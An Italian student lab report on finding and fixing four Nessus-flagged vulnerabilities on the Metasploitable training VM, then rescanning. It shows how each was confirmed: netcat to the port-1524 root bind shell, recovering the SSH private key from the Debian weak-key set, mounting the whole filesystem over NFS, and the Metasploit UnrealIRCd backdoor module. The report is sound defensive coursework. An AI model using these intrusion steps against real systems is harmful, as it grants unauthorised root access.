Metasploit Risoluzione Vulnerabilità

Nessus, nmap
Alessandro Morabito @ Epicode

1 Introduzione

Questo progetto prevede la scansione della macchina *metasploitable* utilizzando `Nessus`, per poi selezionare fino a 4 vulnerabilità. Dopo averle risolte, eseguire nuovamente una scansione con gli stessi criteri, e confrontare i risultati.
Le vulnerabilità critiche che ho scelto di risolvere sono:

- `51988 Bind Shell Backdoor Detection`;
- `32314 Debian OpenSSH/OpenSSL Package Random Number Generator Weakness`
- `11356 NFS Exported Share Information Disclosure`
- `46882 UnrealIRCd Backdoor Detection`

2 51988 (Bind Shell Backdoor Detection)

2.1 Verifica vulnerabilità

Utilizzando `netcat` per collegarmi alla porta `1524` ottengo una shell di root sulla macchina bersaglio.

```
kali@kali:~$ nc 192.168.1.145 1524
pwd
/
id –u
0
```

2.2 Risoluzione vulnerabilità

2.2.1 Metodo 1

Innanzitutto voglio indiviuare il processo in ascolto su sulla porta `1524`.

```
msfadmin@metasploitable:~$ sudo netstat –tlnp | grep 1524
tcp        0      0 0.0.0.0:1524            0.0.0.0:*               LISTEN      4512/xinetd
```

`xinetd` viene eseguito all'avvio. Risulta infatti che

```
msfadmin@metasploitable:~$ ls /etc/init.d –la | grep inet
–rwxr–xr–x 1 root root  2324 Apr 27  2007 openbsd–inetd
–rwxr–xr–x 1 root root  1896 Dec  3  2007 xinetd
```

Possiamo scegliere di non avviare questo servizio all'accensione. Per fare ciò, eliminiamo `/etc/init.d/xinetd` a cui fanno riferimento `/etc/rc?.d/?20xinetd`. Eseguendo `update-rc.d`, infine, eliminiamo proprio questi link simbolici.
In questo modo, tuttavia, tutti i servizi che utilizzano `xinetd` non saranno lanciati all'accesione.

```
msfadmin@metasploitable:~$ sudo netstat -tulnp | grep xinetd
tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN      4509/xinetd
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN      4509/xinetd
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN      4509/xinetd
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      4509/xinetd
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      4509/xinetd
udp        0      0 0.0.0.0:69              0.0.0.0:*                           4509/xinetd
```

Vediamo come impedire che `xinetd` venga lanciato comprometterebbe quindi altri protocolli che non hanno a che fare con la backdoor rilevata, come `SSH` e `FTP`.

2.2.2 Metodo 2

Impostiamo il firewall in maniera tale che solamente alcuni indirizzi IP (o nessun indirizzo IP) possano comunicare con la porta `1524`. Non è tuttavia una buona idea in quanto la backdoor non verrebbe rimossa.

```
msfadmin@metasploitable:~$ sudo ufw allow proto tcp from 192.168.1.154/24\
> to 192.168.1.145 port 1524
Rules updated
```

2.2.3 Metodo 3

Analizzando il file di configurazione `/etc/inetd.conf` si legge nell'ultima riga:

```
ingreslock  stream  tcp nowait  root    /bin/bash bash -i
```

Questo è il comando che genera una shell di root interattiva per chiunque si colleghi sulla porta `1524` (il cui alias `ingreslock` è definito in `/etc/services`). Si può commentare questa riga per impedire che questo possa avvenire, oppure modificarla per eseguire un programma sano.

3 32314 (Debian OpenSSH/OpenSSL Package Random Number Generator Weakness)

3.1 Verifica vulnerabilità

Questa è una vulnerabilità nota che limita la quantità di coppie di chiavi di criptazione asimmetrica che possono essere generate. Nel report di `Nessus` questa vulnerabilità compare tre volte tra quelle critiche: una volta per `OpenSSL`, un'altra per `OpenVPN` e infine una per `OpenSSH`. Quella che voglio risolvere è quest'ultima.
Recandomi su `https://github.com/g0tmi1k/debian-ssh` ho potuto scaricare le chiavi più comuni per questa versione di `OpenSSL`.
Dopo aver ottenuto la chiave pubblica del server `SSH` di *metasploitable*,

```
kali@kali:~$ ssh-keyscan -t rsa 192.168.1.145
# 192.168.1.145:22 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
192.168.1.145 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMB
OZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyI
k8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ
SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMI
```

```
PEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qS
JISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX
/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
```

ho controllato il file, tra quelli scaricati, che la conteneva.

```
kali@kali:~$ grep -lr <chiave_pubblica> .
./5656240f211ddea72bae61b1243de8f3-31294.pub
```

Andando a confrontare la chiave privata corrispondente, salvata nel file `5656240f211ddea72bae61b1243de8f3-31294` con quella del server, salvata su *metasploitable* nel file `/etc/ssh/ssh_host_rsa_key`, ho trovato così una corrispondenza perfetta. Sono quindi riuscito a risalire dalla chiave pubblica a quella privata.

3.2 Risoluzione

La macchina metasploitable non contiene indirizzi `URL` aggiornati per poter scaricare i nuovi pacchetti, quindi non posso procedere effettuando un aggiornamento del sistema o di `openSSL`. Dal momento, inoltre, che la versione di `OpenSSL` coinvolta risale a oltre 10 anni fa, non sono riuscito a trovare una versione da scaricare manualmente. Mi sono quindi limitato a rigenerare le chiavi `ssh` di *metasploitable* in maniera più sicura (sia per quanto riguarda la lunghezza della chiave, sia il numero di *rounds* utilizzati).

```
msfadmin@metasploitable:~$ sudo ssh-keygen -t rsa -b 4096 -a 100
```

Successivamente, prima ho controllato se funzionava ancora l'attacco effettuato in precedenza (esito negativo), poi ho utilizzato il file scaricato a `http://security.debian.org/project/extra/dowkd/dowkd.pl.gz` per verificare la vulnerabilità delle chiavi.

4 11356 (NFS Exported Share Information Disclosure)

4.1 Verifica vulnerabilità

Si verifica facilmente che si può montare l'intero filesystem di *metasploitable* da un'altra macchina sulla stessa rete. In particolare:

```
kali@kali:~$ sudo mount -t nfs 192.168.1.145:/ /mnt/metasploitable
Created symlink /run/systemd/system/remote-fs.target.wants/rpc-statd.service
    -> /lib/systemd/system/rpc-statd.service.
```

Questo mi permette di modificare qualunque file all'interno della macchina.

4.2 Risoluzione

La vulnerabilità è presente nel file `/etc/exports`, dove è scritto:

```
/               *(rw,sync,no_root_squash,no_subtree_check)
```

Questo permette a qualunque utente di modificare i file di sistema come se fosse amministratore. Ho scelto di mantenere la condivisione dei file restringendo le cartelle condivise a `/srv/can_be_shared` con dei permessi di sola lettura solamente da parte della macchina attaccante. Ho quindi modificato il file `/etc/exports` commentando la riga originaria e aggiungendo

```
/srv/can_be_shared        192.168.1.154/24(ro,subtree_check,sync)
```

Dopo aver salvato il file e aver applicato le modifiche, si verifica che il comando `mnt` non permette più di montare l'intero filesystem di *metasploitable*, e che è possibile solo leggere i file quando presenti.

5 46882 (UnrealIRCd Backdoor Detection)

5.1 Verifica vulnerabilità

Dopo aver fatto una scansione aggressiva sulla porta `6697` sono riuscito a identificare la versione del demone `UnrealIRCd` in ascolto. Ho quindi avviato `metasploit` seguendo le indicazioni di `Nessus`, e ho cercato un *exploit* per la versione 3.2.8.1. Dopo aver impostato `exploit/unix/irc/unreal_irc_3281_backdoor` e il payload `payload/cmd/unix/bind_perl`, quindi i dati relativi a *metasploitable*, sono riuscito ad ottenere una shell di root sul dispostivo vittima.

5.2 Risoluzione vulnerabilità

Il file `/etc/unreal/unrealircd.conf` è il file di configurazione del demone. Prima di procedere con la risoluzione delle vulnerabilità, ho controllato se vi sono altre porte che possono essere coinvolte. Si può vedere all'interno di questo file, o utilizzando il comando `netstat`, che anche la porta `6667`, non individuata da `Nessus` come backdoor, ospita il servizio `UnrealIRCd`. Ho quindi provato a utilizzare lo stesso attacco su questa porta, che ha avuto esito positivo.
Se la soluzione migliore sarebbe stata eliminare `UnrealIRCd` e scaricare la versione subito successiva, dal momento che il comando `apt-get` non è stato in grado di identificare il pacchetto, ho deciso di impostare `ufw` in maniera tale da bloccare qualunque comunicazione con le porte `6667` e `6697` (per evitare di compromettere una macchina che avrei dovuto utilizzare in futuro. Una via più sicura che non prevede alcun aggiornamento sarebbe stata eliminare manualmente i file `/usr/bin/unrealircd` e quelli dentro la cartella `/etc/unreal`.

6 Conclusioni

Prima di effettuare nuovamente la scansione con `Nessus` verso *metasploitable*, per riassumere, ho:

- eliminato l'avvio del processo `ingreslock` in ascolto sulla porta `1524`,
- generato chiavi `RSA` a 4096 bit per 100 round per il protocollo `SSH`,
- imposto delle limitazione nel `NFS` per il percorso, l'host e i permessi di lettura,
- bloccato con il firewall la comunicazione con le porte `6667` e `6697`.

Il firewall, in particolare, è stato impostato in maniera tale da permettere la comunicazione con tutte le porte di default, tranne a quelle relative a `UnrealIRCd`. In questo modo ho potuto limitare i cambiamenti effettuati solamente alle vulnerabilità che volevo coinvolgere.
La nuova scansione non restituisce alcuna informazione circa la porta `1524`, che risulta chiusa. Lo stesso vale per le porte `6667` e `6697`, che risultano filtrate secondo `nmap`. Effettuando una ricerca per la parola `backdoor` nel `PDF` non si ottiene alcun riscontro.
Sono ancora presenti vulnerabilità critiche riguardo `OpenSSH/OpenSSL`. Tuttavia, andando a leggere informazioni riguardo le vulnerabilità trovate, non si vede nessuna informazione in merito alla porta `22`.

Infine, è ancora presente la vulnerabilità riguardante il NFS. Anche qua, la descrizione spiega che la vulnerabilità consiste nel fatto di poter montare una cartella specifica, e viene consigliato di controllare gli host che possono accedere alle risorse condivise. Questo è stato modificato tramite il file di configurazione, dove ho permesso solamente alla macchina attaccante di accedere al percorso selezionato.